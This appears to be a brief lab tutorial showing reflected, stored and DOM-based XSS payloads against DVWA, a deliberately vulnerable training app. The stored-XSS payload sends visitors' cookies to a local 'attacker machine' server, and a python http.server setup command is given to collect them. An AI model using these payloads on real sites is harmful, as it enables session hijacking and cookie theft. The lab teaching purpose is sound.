**Source Code Snippets**

**1. Reflected XSS**

This is a simple example where the malicious script is reflected immediately in the server response.

<script>

alert("Reflected XSS | Session cookies: " + document.cookie);

</script>

**Usage**: Inject the above payload into a vulnerable input field (like a search box or GET parameter) in DVWA’s "Reflected XSS" section. This script will trigger an alert showing the user's cookies.

**2. Stored XSS**

This type of attack stores the script in a persistent location like a comment or message field, and executes when another user accesses the page.

<script>

window.location = 'http://127.0.0.1:3000/?cookie=' + document.cookie;

</script>

**Usage**: Paste this payload into a vulnerable input like the DVWA "Stored XSS" section. When any user views the page, they will be redirected to your Python server (http.server 3000) along with their cookies in the URL. This simulates data theft.

**Setup**: Run the server on attacker machine:

python -m http.server 3000

**3. DOM-Based XSS**

This attack modifies the Document Object Model directly through client-side JavaScript without involving the server.

http://localhost:8080/vulnerabilities/xss\_d/?default=<script>alert('DOM XSS! document.cookie')</script>

**Usage**: Load the above URL in your browser while DVWA is running. The script will execute in the browser by modifying the DOM dynamically, again showing session cookie info.